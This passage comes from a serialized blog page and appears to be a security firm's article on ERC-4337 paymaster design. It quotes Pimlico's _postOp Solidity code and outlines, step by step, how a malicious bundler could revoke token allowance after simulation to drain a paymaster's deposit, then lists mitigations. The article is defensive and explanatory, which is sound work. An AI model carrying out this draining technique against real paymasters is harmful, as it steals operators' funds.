mUserOp.paymasterPostOpGasLimit);\n",{"type":20,"tag":315,"props":105027,"children":105028},{"class":317,"line":7507},[105029],{"type":20,"tag":315,"props":105030,"children":105031},{"style":328},[105032],{"type":26,"value":69327},{"type":20,"tag":315,"props":105034,"children":105035},{"class":317,"line":7613},[105036],{"type":20,"tag":315,"props":105037,"children":105038},{"style":328},[105039],{"type":26,"value":57138},{"type":20,"tag":315,"props":105041,"children":105042},{"class":317,"line":21914},[105043],{"type":20,"tag":315,"props":105044,"children":105045},{"style":328},[105046],{"type":26,"value":103059},{"type":20,"tag":315,"props":105048,"children":105049},{"class":317,"line":21949},[105050],{"type":20,"tag":315,"props":105051,"children":105052},{"style":328},[105053],{"type":26,"value":1736},{"type":20,"tag":29,"props":105055,"children":105056},{},[105057,105059,105064,105066,105072,105074,105080,105082,105087,105089,105094,105096,105101,105103,105108,105110,105115,105117,105122],{"type":26,"value":105058},"It turns out that if the ",{"type":20,"tag":119,"props":105060,"children":105062},{"className":105061},[],[105063],{"type":26,"value":100639},{"type":26,"value":105065}," call fails, it will revert with ",{"type":20,"tag":119,"props":105067,"children":105069},{"className":105068},[],[105070],{"type":26,"value":105071},"PostOpReverted",{"type":26,"value":105073},". However, as we can see in the previous code of ",{"type":20,"tag":119,"props":105075,"children":105077},{"className":105076},[],[105078],{"type":26,"value":105079},"_executeUserOp",{"type":26,"value":105081},", even though ",{"type":20,"tag":119,"props":105083,"children":105085},{"className":105084},[],[105086],{"type":26,"value":103781},{"type":26,"value":105088}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":20,"tag":119,"props":105090,"children":105092},{"className":105091},[],[105093],{"type":26,"value":104449},{"type":26,"value":105095}," call with ",{"type":20,"tag":119,"props":105097,"children":105099},{"className":105098},[],[105100],{"type":26,"value":104457},{"type":26,"value":105102}," mode, and it won't try to call ",{"type":20,"tag":119,"props":105104,"children":105106},{"className":105105},[],[105107],{"type":26,"value":100639},{"type":26,"value":105109}," again. This means the ",{"type":20,"tag":119,"props":105111,"children":105113},{"className":105112},[],[105114],{"type":26,"value":100500},{"type":26,"value":105116}," still gets paid for submitting the failed ",{"type":20,"tag":119,"props":105118,"children":105120},{"className":105119},[],[105121],{"type":26,"value":100440},{"type":26,"value":61},{"type":20,"tag":29,"props":105124,"children":105125},{},[105126,105128,105133,105135,105140,105142,105149],{"type":26,"value":105127},"Now that we understand this behavior where ",{"type":20,"tag":119,"props":105129,"children":105131},{"className":105130},[],[105132],{"type":26,"value":100639},{"type":26,"value":105134}," is allowed to fail while the ",{"type":20,"tag":119,"props":105136,"children":105138},{"className":105137},[],[105139],{"type":26,"value":100500},{"type":26,"value":105141}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":20,"tag":35,"props":105143,"children":105146},{"href":105144,"rel":105145},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[39],[105147],{"type":26,"value":105148},"Pimlico",{"type":26,"value":61},{"type":20,"tag":305,"props":105151,"children":105153},{"className":307,"code":105152,"language":309,"meta":7,"style":7}," function _postOp(\n PostOpMode, /* mode */\n bytes calldata _context,\n uint256 _actualGasCost,\n uint256 _actualUserOpFeePerGas\n )\n internal\n {\n ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n );\n\n uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n uint256 costInToken =\n getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n uint256 absoluteCostInToken =\n costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n SafeTransferLib.safeTransferFrom(\n ctx.token,\n costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n absoluteCostInToken\n );\n\n uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n if (ctx.recipient != address(0) && preFundInToken > costInToken) {\n SafeTransferLib.safeTransferFrom(ctx.token, ctx.sender, ctx.recipient, preFundInToken - costInToken);\n }\n\n emit UserOperationSponsored(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n }\n",[105154],{"type":20,"tag":119,"props":105155,"children":105156},{"__ignoreMap":7},[105157,105172,105189,105209,105225,105237,105244,105251,105258,105289,105296,105321,105329,105336,105343,105372,105379,105395,105417,105424,105440,105490,105497,105513,105521,105554,105587,105595,105602,105609,105652,105659,105708,105734,105741,105748,105765],{"type":20,"tag":315,"props":105158,"children":105159},{"class":317,"line":318},[105160,105164,105168],{"type":20,"tag":315,"props":105161,"children":105162},{"style":541},[105163],{"type":26,"value":88089},{"type":20,"tag":315,"props":105165,"children":105166},{"style":345},[105167],{"type":26,"value":102041},{"type":20,"tag":315,"props":105169,"children":105170},{"style":328},[105171],{"type":26,"value":353},{"type":20,"tag":315,"props":105173,"children":105174},{"class":317,"line":356},[105175,105180,105184],{"type":20,"tag":315,"props":105176,"children":105177},{"style":541},[105178],{"type":26,"value":105179}," PostOpMode",{"type":20,"tag":315,"props":105181,"children":105182},{"style":328},[105183],{"type":26,"value":44},{"type":20,"tag":315,"props":105185,"children":105186},{"style":1071},[105187],{"type":26,"value":105188},"/* mode */\n",{"type":20,"tag":315,"props":105190,"children":105191},{"class":317,"line":365},[105192,105196,105200,105205],{"type":20,"tag":315,"props":105193,"children":105194},{"style":322},[105195],{"type":26,"value":103957},{"type":20,"tag":315,"props":105197,"children":105198},{"style":541},[105199],{"type":26,"value":101270},{"type":20,"tag":315,"props":105201,"children":105202},{"style":635},[105203],{"type":26,"value":105204}," _context",{"type":20,"tag":315,"props":105206,"children":105207},{"style":328},[105208],{"type":26,"value":643},{"type":20,"tag":315,"props":105210,"children":105211},{"class":317,"line":374},[105212,105216,105221],{"type":20,"tag":315,"props":105213,"children":105214},{"style":322},[105215],{"type":26,"value":88267},{"type":20,"tag":315,"props":105217,"children":105218},{"style":635},[105219],{"type":26,"value":105220}," _actualGasCost",{"type":20,"tag":315,"props":105222,"children":105223},{"style":328},[105224],{"type":26,"value":643},{"type":20,"tag":315,"props":105226,"children":105227},{"class":317,"line":383},[105228,105232],{"type":20,"tag":315,"props":105229,"children":105230},{"style":322},[105231],{"type":26,"value":88267},{"type":20,"tag":315,"props":105233,"children":105234},{"style":635},[105235],{"type":26,"value":105236}," _actualUserOpFeePerGas\n",{"type":20,"tag":315,"props":105238,"children":105239},{"class":317,"line":407},[105240],{"type":20,"tag":315,"props":105241,"children":105242},{"style":328},[105243],{"type":26,"value":22335},{"type":20,"tag":315,"props":105245,"children":105246},{"class":317,"line":421},[105247],{"type":20,"tag":315,"props":105248,"children":105249},{"style":541},[105250],{"type":26,"value":101309},{"type":20,"tag":315,"props":105252,"children":105253},{"class":317,"line":430},[105254],{"type":20,"tag":315,"props":105255,"children":105256},{"style":328},[105257],{"type":26,"value":27602},{"type":20,"tag":315,"props":105259,"children":105260},{"class":317,"line":453},[105261,105266,105270,105275,105279,105284],{"type":20,"tag":315,"props":105262,"children":105263},{"style":328},[105264],{"type":26,"value":105265}," ERC20PostOpContext ",{"type":20,"tag":315,"props":105267,"children":105268},{"style":541},[105269],{"type":26,"value":74230},{"type":20,"tag":315,"props":105271,"children":105272},{"style":328},[105273],{"type":26,"value":105274}," ctx ",{"type":20,"tag":315,"props":105276,"children":105277},{"style":334},[105278],{"type":26,"value":337},{"type":20,"tag":315,"props":105280,"children":105281},{"style":345},[105282],{"type":26,"value":105283}," _parsePostOpContext",{"type":20,"tag":315,"props":105285,"children":105286},{"style":328},[105287],{"type":26,"value":105288},"(_context);\n",{"type":20,"tag":315,"props":105290,"children":105291},{"class":317,"line":486},[105292],{"type":20,"tag":315,"props":105293,"children":105294},{"emptyLinePlaceholder":15},[105295],{"type":26,"value":427},{"type":20,"tag":315,"props":105297,"children":105298},{"class":317,"line":499},[105299,105303,105308,105312,105317],{"type":20,"tag":315,"props":105300,"children":105301},{"style":322},[105302],{"type":26,"value":88267},{"type":20,"tag":315,"props":105304,"children":105305},{"style":328},[105306],{"type":26,"value":105307}," expectedPenaltyGasCost ",{"type":20,"tag":315,"props":105309,"children":105310},{"style":334},[105311],{"type":26,"value":337},{"type":20,"tag":315,"props":105313,"children":105314},{"style":345},[105315],{"type":26,"value":105316}," _expectedPenaltyGasCost",{"type":20,"tag":315,"props":105318,"children":105319},{"style":328},[105320],{"type":26,"value":353},{"type":20,"tag":315,"props":105322,"children":105323},{"class":317,"line":513},[105324],{"type":20,"tag":315,"props":105325,"children":105326},{"style":328},[105327],{"type":26,"value":105328}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":20,"tag":315,"props":105330,"children":105331},{"class":317,"line":521},[105332],{"type":20,"tag":315,"props":105333,"children":105334},{"style":328},[105335],{"type":26,"value":6139},{"type":20,"tag":315,"props":105337,"children":105338},{"class":317,"line":552},[105339],{"type":20,"tag":315,"props":105340,"children":105341},{"emptyLinePlaceholder":15},[105342],{"type":26,"value":427},{"type":20,"tag":315,"props":105344,"children":105345},{"class":317,"line":571},[105346,105350,105354,105358,105363,105367],{"type":20,"tag":315,"props":105347,"children":105348},{"style":322},[105349],{"type":26,"value":88267},{"type":20,"tag":315,"props":105351,"children":105352},{"style":328},[105353],{"type":26,"value":102365},{"type":20,"tag":315,"props":105355,"children":105356},{"style":334},[105357],{"type":26,"value":337},{"type":20,"tag":315,"props":105359,"children":105360},{"style":328},[105361],{"type":26,"value":105362}," _actualGasCost ",{"type":20,"tag":315,"props":105364,"children":105365},{"style":334},[105366],{"type":26,"value":817},{"type":20,"tag":315,"props":105368,"children":105369},{"style":328},[105370],{"type":26,"value":105371}," expectedPenaltyGasCost;\n",{"type":20,"tag":315,"props":105373,"children":105374},{"class":317,"line":2031},[105375],{"type":20,"tag":315,"props":105376,"children":105377},{"emptyLinePlaceholder":15},[105378],{"type":26,"value":427},{"type":20,"tag":315,"props":105380,"children":105381},{"class":317,"line":2053},[105382,105386,105391],{"type":20,"tag":315,"props":105383,"children":105384},{"style":322},[105385],{"type":26,"value":88267},{"type":20,"tag":315,"props":105387,"children":105388},{"style":328},[105389],{"type":26,"value":105390}," costInToken ",{"type":20,"tag":315,"props":105392,"children":105393},{"style":334},[105394],{"type":26,"value":13094},{"type":20,"tag":315,"props":105396,"children":105397},{"class":317,"line":2061},[105398,105403,105408,105412],{"type":20,"tag":315,"props":105399,"children":105400},{"style":345},[105401],{"type":26,"value":105402}," getCostInToken",{"type":20,"tag":315,"props":105404,"children":105405},{"style":328},[105406],{"type":26,"value":105407},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":20,"tag":315,"props":105409,"children":105410},{"style":334},[105411],{"type":26,"value":817},{"type":20,"tag":315,"props":105413,"children":105414},{"style":328},[105415],{"type":26,"value":105416}," ctx.constantFee;\n",{"type":20,"tag":315,"props":105418,"children":105419},{"class":317,"line":2070},[105420],{"type":20,"tag":315,"props":105421,"children":105422},{"emptyLinePlaceholder":15},[105423],{"type":26,"value":427},{"type":20,"tag":315,"props":105425,"children":105426},{"class":317,"line":2139},[105427,105431,105436],{"type":20,"tag":315,"props":105428,"children":105429},{"style":322},[105430],{"type":26,"value":88267},{"type":20,"tag":315,"props":105432,"children":105433},{"style":328},[105434],{"type":26,"value":105435}," absoluteCostInToken ",{"type":20,"tag":315,"props":105437,"children":105438},{"style":334},[105439],{"type":26,"value":13094},{"type":20,"tag":315,"props":105441,"children":105442},{"class":317,"line":2147},[105443,105448,105452,105457,105461,105465,105469,105473,105477,105481,105485],{"type":20,"tag":315,"props":105444,"children":105445},{"style":328},[105446],{"type":26,"value":105447}," costInToken ",{"type":20,"tag":315,"props":105449,"children":105450},{"style":334},[105451],{"type":26,"value":8862},{"type":20,"tag":315,"props":105453,"children":105454},{"style":328},[105455],{"type":26,"value":105456}," ctx.preFundCharged ",{"type":20,"tag":315,"props":105458,"children":105459},{"style":334},[105460],{"type":26,"value":1537},{"type":20,"tag":315,"props":105462,"children":105463},{"style":328},[105464],{"type":26,"value":105390},{"type":20,"tag":315,"props":105466,"children":105467},{"style":334},[105468],{"type":26,"value":478},{"type":20,"tag":315,"props":105470,"children":105471},{"style":328},[105472],{"type":26,"value":105456},{"type":20,"tag":315,"props":105474,"children":105475},{"style":334},[105476],{"type":26,"value":2884},{"type":20,"tag":315,"props":105478,"children":105479},{"style":328},[105480],{"type":26,"value":105456},{"type":20,"tag":315,"props":105482,"children":105483},{"style":334},[105484],{"type":26,"value":478},{"type":20,"tag":315,"props":105486,"children":105487},{"style":328},[105488],{"type":26,"value":105489}," costInToken;\n",{"type":20,"tag":315,"props":105491,"children":105492},{"class":317,"line":2177},[105493],{"type":20,"tag":315,"props":105494,"children":105495},{"emptyLinePlaceholder":15},[105496],{"type":26,"value":427},{"type":20,"tag":315,"props":105498,"children":105499},{"class":317,"line":2185},[105500,105505,105509],{"type":20,"tag":315,"props":105501,"children":105502},{"style":328},[105503],{"type":26,"value":105504}," SafeTransferLib.",{"type":20,"tag":315,"props":105506,"children":105507},{"style":345},[105508],{"type":26,"value":101896},{"type":20,"tag":315,"props":105510,"children":105511},{"style":328},[105512],{"type":26,"value":353},{"type":20,"tag":315,"props":105514,"children":105515},{"class":317,"line":2217},[105516],{"type":20,"tag":315,"props":105517,"children":105518},{"style":328},[105519],{"type":26,"value":105520}," ctx.token,\n",{"type":20,"tag":315,"props":105522,"children":105523},{"class":317,"line":2225},[105524,105528,105532,105536,105540,105545,105549],{"type":20,"tag":315,"props":105525,"children":105526},{"style":328},[105527],{"type":26,"value":105447},{"type":20,"tag":315,"props":105529,"children":105530},{"style":334},[105531],{"type":26,"value":8862},{"type":20,"tag":315,"props":105533,"children":105534},{"style":328},[105535],{"type":26,"value":105456},{"type":20,"tag":315,"props":105537,"children":105538},{"style":334},[105539],{"type":26,"value":1537},{"type":20,"tag":315,"props":105541,"children":105542},{"style":328},[105543],{"type":26,"value":105544}," ctx.sender ",{"type":20,"tag":315,"props":105546,"children":105547},{"style":334},[105548],{"type":26,"value":2884},{"type":20,"tag":315,"props":105550,"children":105551},{"style":328},[105552],{"type":26,"value":105553}," ctx.treasury,\n",{"type":20,"tag":315,"props":105555,"children":105556},{"class":317,"line":2285},[105557,105561,105565,105569,105573,105578,105582],{"type":20,"tag":315,"props":105558,"children":105559},{"style":328},[105560],{"type":26,"value":105447},{"type":20,"tag":315,"props":105562,"children":105563},{"style":334},[105564],{"type":26,"value":8862},{"type":20,"tag":315,"props":105566,"children":105567},{"style":328},[105568],{"type":26,"value":105456},{"type":20,"tag":315,"props":105570,"children":105571},{"style":334},[105572],{"type":26,"value":1537},{"type":20,"tag":315,"props":105574,"children":105575},{"style":328},[105576],{"type":26,"value":105577}," ctx.treasury ",{"type":20,"tag":315,"props":105579,"children":105580},{"style":334},[105581],{"type":26,"value":2884},{"type":20,"tag":315,"props":105583,"children":105584},{"style":328},[105585],{"type":26,"value":105586}," ctx.sender,\n",{"type":20,"tag":315,"props":105588,"children":105589},{"class":317,"line":7444},[105590],{"type":20,"tag":315,"props":105591,"children":105592},{"style":328},[105593],{"type":26,"value":105594}," absoluteCostInToken\n",{"type":20,"tag":315,"props":105596,"children":105597},{"class":317,"line":7462},[105598],{"type":20,"tag":315,"props":105599,"children":105600},{"style":328},[105601],{"type":26,"value":6139},{"type":20,"tag":315,"props":105603,"children":105604},{"class":317,"line":7507},[105605],{"type":20,"tag":315,"props":105606,"children":105607},{"emptyLinePlaceholder":15},[105608],{"type":26,"value":427},{"type":20,"tag":315,"props":105610,"children":105611},{"class":317,"line":7613},[105612,105616,105621,105625,105630,105634,105639,105643,105648],{"type":20,"tag":315,"props":105613,"children":105614},{"style":322},[105615],{"type":26,"value":88267},{"type":20,"tag":315,"props":105617,"children":105618},{"style":328},[105619],{"type":26,"value":105620}," preFundInToken ",{"type":20,"tag":315,"props":105622,"children":105623},{"style":334},[105624],{"type":26,"value":337},{"type":20,"tag":315,"props":105626,"children":105627},{"style":328},[105628],{"type":26,"value":105629}," (ctx.preFund ",{"type":20,"tag":315,"props":105631,"children":105632},{"style":334},[105633],{"type":26,"value":901},{"type":20,"tag":315,"props":105635,"children":105636},{"style":328},[105637],{"type":26,"value":105638}," ctx.exchangeRate) ",{"type":20,"tag":315,"props":105640,"children":105641},{"style":334},[105642],{"type":26,"value":786},{"type":20,"tag":315,"props":105644,"children":105645},{"style":765},[105646],{"type":26,"value":105647}," 1e18",{"type":20,"tag":315,"props":105649,"children":105650},{"style":328},[105651],{"type":26,"value":1405},{"type":20,"tag":315,"props":105653,"children":105654},{"class":317,"line":21914},[105655],{"type":20,"tag":315,"props":105656,"children":105657},{"emptyLinePlaceholder":15},[105658],{"type":26,"value":427},{"type":20,"tag":315,"props":105660,"children":105661},{"class":317,"line":21949},[105662,105666,105671,105675,105679,105683,105687,105691,105695,105699,105703],{"type":20,"tag":315,"props":105663,"children":105664},{"style":525},[105665],{"type":26,"value":1654},{"type":20,"tag":315,"props":105667,"children":105668},{"style":328},[105669],{"type":26,"value":105670}," (ctx.recipient ",{"type":20,"tag":315,"props":105672,"children":105673},{"style":334},[105674],{"type":26,"value":14089},{"type":20,"tag":315,"props":105676,"children":105677},{"style":322},[105678],{"type":26,"value":4644},{"type":20,"tag":315,"props":105680,"children":105681},{"style":328},[105682],{"type":26,"value":1049},{"type":20,"tag":315,"props":105684,"children":105685},{"style":765},[105686],{"type":26,"value":1063},{"type":20,"tag":315,"props":105688,"children":105689},{"style":328},[105690],{"type":26,"value":1468},{"type":20,"tag":315,"props":105692,"children":105693},{"style":334},[105694],{"type":26,"value":71453},{"type":20,"tag":315,"props":105696,"children":105697},{"style":328},[105698],{"type":26,"value":105620},{"type":20,"tag":315,"props":105700,"children":105701},{"style":334},[105702],{"type":26,"value":8862},{"type":20,"tag":315,"props":105704,"children":105705},{"style":328},[105706],{"type":26,"value":105707}," costInToken) {\n",{"type":20,"tag":315,"props":105709,"children":105710},{"class":317,"line":21957},[105711,105716,105720,105725,105729],{"type":20,"tag":315,"props":105712,"children":105713},{"style":328},[105714],{"type":26,"value":105715}," SafeTransferLib.",{"type":20,"tag":315,"props":105717,"children":105718},{"style":345},[105719],{"type":26,"value":101896},{"type":20,"tag":315,"props":105721,"children":105722},{"style":328},[105723],{"type":26,"value":105724},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":20,"tag":315,"props":105726,"children":105727},{"style":334},[105728],{"type":26,"value":478},{"type":20,"tag":315,"props":105730,"children":105731},{"style":328},[105732],{"type":26,"value":105733}," costInToken);\n",{"type":20,"tag":315,"props":105735,"children":105736},{"class":317,"line":21965},[105737],{"type":20,"tag":315,"props":105738,"children":105739},{"style":328},[105740],{"type":26,"value":1728},{"type":20,"tag":315,"props":105742,"children":105743},{"class":317,"line":21974},[105744],{"type":20,"tag":315,"props":105745,"children":105746},{"emptyLinePlaceholder":15},[105747],{"type":26,"value":427},{"type":20,"tag":315,"props":105749,"children":105750},{"class":317,"line":22016},[105751,105756,105760],{"type":20,"tag":315,"props":105752,"children":105753},{"style":525},[105754],{"type":26,"value":105755}," emit",{"type":20,"tag":315,"props":105757,"children":105758},{"style":345},[105759],{"type":26,"value":102630},{"type":20,"tag":315,"props":105761,"children":105762},{"style":328},[105763],{"type":26,"value":105764},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":20,"tag":315,"props":105766,"children":105767},{"class":317,"line":22049},[105768],{"type":20,"tag":315,"props":105769,"children":105770},{"style":328},[105771],{"type":26,"value":1736},{"type":20,"tag":29,"props":105773,"children":105774},{},[105775,105777,105782,105784,105790,105792,105798,105800,105805,105807,105812],{"type":26,"value":105776},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":20,"tag":119,"props":105778,"children":105780},{"className":105779},[],[105781],{"type":26,"value":101896},{"type":26,"value":105783},". Note that ",{"type":20,"tag":119,"props":105785,"children":105787},{"className":105786},[],[105788],{"type":26,"value":105789},"preFundCharged",{"type":26,"value":105791}," can be zero, as users can opt out of any ",{"type":20,"tag":119,"props":105793,"children":105795},{"className":105794},[],[105796],{"type":26,"value":105797},"preFund",{"type":26,"value":105799}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":20,"tag":119,"props":105801,"children":105803},{"className":105802},[],[105804],{"type":26,"value":102697},{"type":26,"value":105806}," call inside ",{"type":20,"tag":119,"props":105808,"children":105810},{"className":105809},[],[105811],{"type":26,"value":103781},{"type":26,"value":105813}," will revert and the paymaster won't be able to collect payment from the user.",{"type":20,"tag":29,"props":105815,"children":105816},{},[105817,105819,105824,105826,105832,105834,105840],{"type":26,"value":105818},"However, even when ",{"type":20,"tag":119,"props":105820,"children":105822},{"className":105821},[],[105823],{"type":26,"value":102697},{"type":26,"value":105825}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":20,"tag":119,"props":105827,"children":105829},{"className":105828},[],[105830],{"type":26,"value":105831},"requiredPrefund",{"type":26,"value":105833}," was taken from the paymaster's ",{"type":20,"tag":35,"props":105835,"children":105838},{"href":105836,"rel":105837},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[39],[105839],{"type":26,"value":60217},{"type":26,"value":61},{"type":20,"tag":29,"props":105842,"children":105843},{},[105844,105846,105851],{"type":26,"value":105845},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":20,"tag":119,"props":105847,"children":105849},{"className":105848},[],[105850],{"type":26,"value":102697},{"type":26,"value":105852}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":20,"tag":68,"props":105854,"children":105855},{},[105856,105874,105893,105904,105909],{"type":20,"tag":72,"props":105857,"children":105858},{},[105859,105861,105866,105868],{"type":26,"value":105860},"The bundler creates a ",{"type":20,"tag":119,"props":105862,"children":105864},{"className":105863},[],[105865],{"type":26,"value":100440},{"type":26,"value":105867}," with an intentionally high ",{"type":20,"tag":119,"props":105869,"children":105871},{"className":105870},[],[105872],{"type":26,"value":105873},"gasPrice",{"type":20,"tag":72,"props":105875,"children":105876},{},[105877,105879,105884,105886,105891],{"type":26,"value":105878},"The bundler ensures the ",{"type":20,"tag":119,"props":105880,"children":105882},{"className":105881},[],[105883],{"type":26,"value":102697},{"type":26,"value":105885}," call will fail by revoking the paymaster's token allowance before ",{"type":20,"tag":119,"props":105887,"children":105889},{"className":105888},[],[105890],{"type":26,"value":102697},{"type":26,"value":105892}," executes",{"type":20,"tag":72,"props":105894,"children":105895},{},[105896,105897,105902],{"type":26,"value":61609},{"type":20,"tag":119,"props":105898,"children":105900},{"className":105899},[],[105901],{"type":26,"value":102697},{"type":26,"value":105903}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":20,"tag":72,"props":105905,"children":105906},{},[105907],{"type":26,"value":105908},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":20,"tag":72,"props":105910,"children":105911},{},[105912],{"type":26,"value":105913},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":20,"tag":29,"props":105915,"children":105916},{},[105917,105919,105924,105926,105931],{"type":26,"value":105918},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":20,"tag":119,"props":105920,"children":105922},{"className":105921},[],[105923],{"type":26,"value":100469},{"type":26,"value":105925}," designed to fail during ",{"type":20,"tag":119,"props":105927,"children":105929},{"className":105928},[],[105930],{"type":26,"value":102697},{"type":26,"value":105932}," while maximizing the gas costs they can charge to the paymaster.",{"type":20,"tag":29,"props":105934,"children":105935},{},[105936,105938,105943,105945,105950,105952,105958,105960,105965],{"type":26,"value":105937},"Some paymasters try to protect against this by simulating the ",{"type":20,"tag":119,"props":105939,"children":105941},{"className":105940},[],[105942],{"type":26,"value":100440},{"type":26,"value":105944}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":20,"tag":119,"props":105946,"children":105948},{"className":105947},[],[105949],{"type":26,"value":100440},{"type":26,"value":105951}," is submitted via ",{"type":20,"tag":119,"props":105953,"children":105955},{"className":105954},[],[105956],{"type":26,"value":105957},"handleOps",{"type":26,"value":105959},". This means the ",{"type":20,"tag":119,"props":105961,"children":105963},{"className":105962},[],[105964],{"type":26,"value":102697},{"type":26,"value":105966}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":20,"tag":29,"props":105968,"children":105969},{},[105970],{"type":26,"value":105971},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":20,"tag":29,"props":105973,"children":105974},{},[105975],{"type":26,"value":105976},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":20,"tag":29,"props":105978,"children":105979},{},[105980],{"type":26,"value":105981},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":20,"tag":33788,"props":105983,"children":105984},{"id":1211},[105985],{"type":26,"value":1214},{"type":20,"tag":29,"props":105987,"children":105988},{},[105989],{"type":26,"value":105990},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":20,"tag":68,"props":105992,"children":105993},{},[105994,105999,106004,106009,106014],{"type":20,"tag":72,"props":105995,"children":105996},{},[105997],{"type":26,"value":105998},"Always collect full payment during validation, not after execution",{"type":20,"tag":72,"props":106000,"children":106001},{},[106002],{"type":26,"value":106003},"Be conservative with gas estimations and include safety margins",{"type":20,"tag":72,"props":106005,"children":106006},{},[106007],{"type":26,"value":106008},"Carefully validate all user inputs and token transfers",{"type":20,"tag":72,"props":106010,"children":106011},{},[106012],{"type":26,"value":106013},"Test extensively, including simulation of malicious behavior",{"type":20,"tag":72,"props":106015,"children":106016},{},[106017,106019,106024],{"type":26,"value":106018},"Always review changes in new ",{"type":20,"tag":119,"props":106020,"children":106022},{"className":106021},[],[106023],{"type":26,"value":100521},{"type":26,"value":106025}," versions, as they may impact your paymaster's design and security assumptions",{"type":20,"tag":29,"props":106027,"children":106028},{},[106029,106031,106036,106038,106043,106045,106050],{"type":26,"value":106030},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":20,"tag":119,"props":106032,"children":106034},{"className":106033},[],[106035],{"type":26,"value":100521},{"type":26,"value":106037}," contract's behavior could potentially break existing ",{"type":20,"tag":119,"props":106039,"children":106041},{"className":106040},[],[106042],{"type":26,"value":100593},{"type":26,"value":106044}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":20,"tag":119,"props":106046,"children":106048},{"className":106047},[],[106049],{"type":26,"value":100521},{"type":26,"value":106051}," versions.",{"type":20,"tag":29,"props":106053,"children":106054},{},[106055],{"type":26,"value":106056},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":20,"tag":29,"props":106058,"children":106059},{},[106060],{"type":26,"value":106061},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":20,"tag":1226,"props":106063,"children":106064},{},[106065],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":106067},[106068,106069,106070,106077,106082,106083],{"id":100355,"depth":356,"text":100358},{"id":100371,"depth":356,"text":100374},{"id":100410,"depth":356,"text":100413,"children":106071},[106072,106073,106074,106075,106076],{"id":100433,"depth":365,"text":100440},{"id":100474,"depth":365,"text":100477},{"id":100500,"depth":365,"text":100503},{"id":13124,"depth":365,"text":100521},{"id":100593,"depth":365,"text":100604},{"id":100656,"depth":356,"text":106078,"children":106079},"Understanding the EntryPoint's Flow",[106080,106081],{"id":100712,"depth":365,"text":100715},{"id":100897,"depth":365,"text":100900},{"id":101140,"depth":356,"text":101146},{"id":102740,"depth":356,"text":102746,"children":106084},[106085,106086],{"id":102800,"depth":365,"text":102803},{"id":102860,"depth":365,"text":102863},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":106091,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":106092,"description":106093,"date":106094,"author":106095,"image":106098,"isFeatured":15,"onBlogPage":15,"tags":106100,"body":106102,"_type":1242,"_id":121907,"_source":1244,"_file":121908,"_stem":121909,"_extension":1247},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible 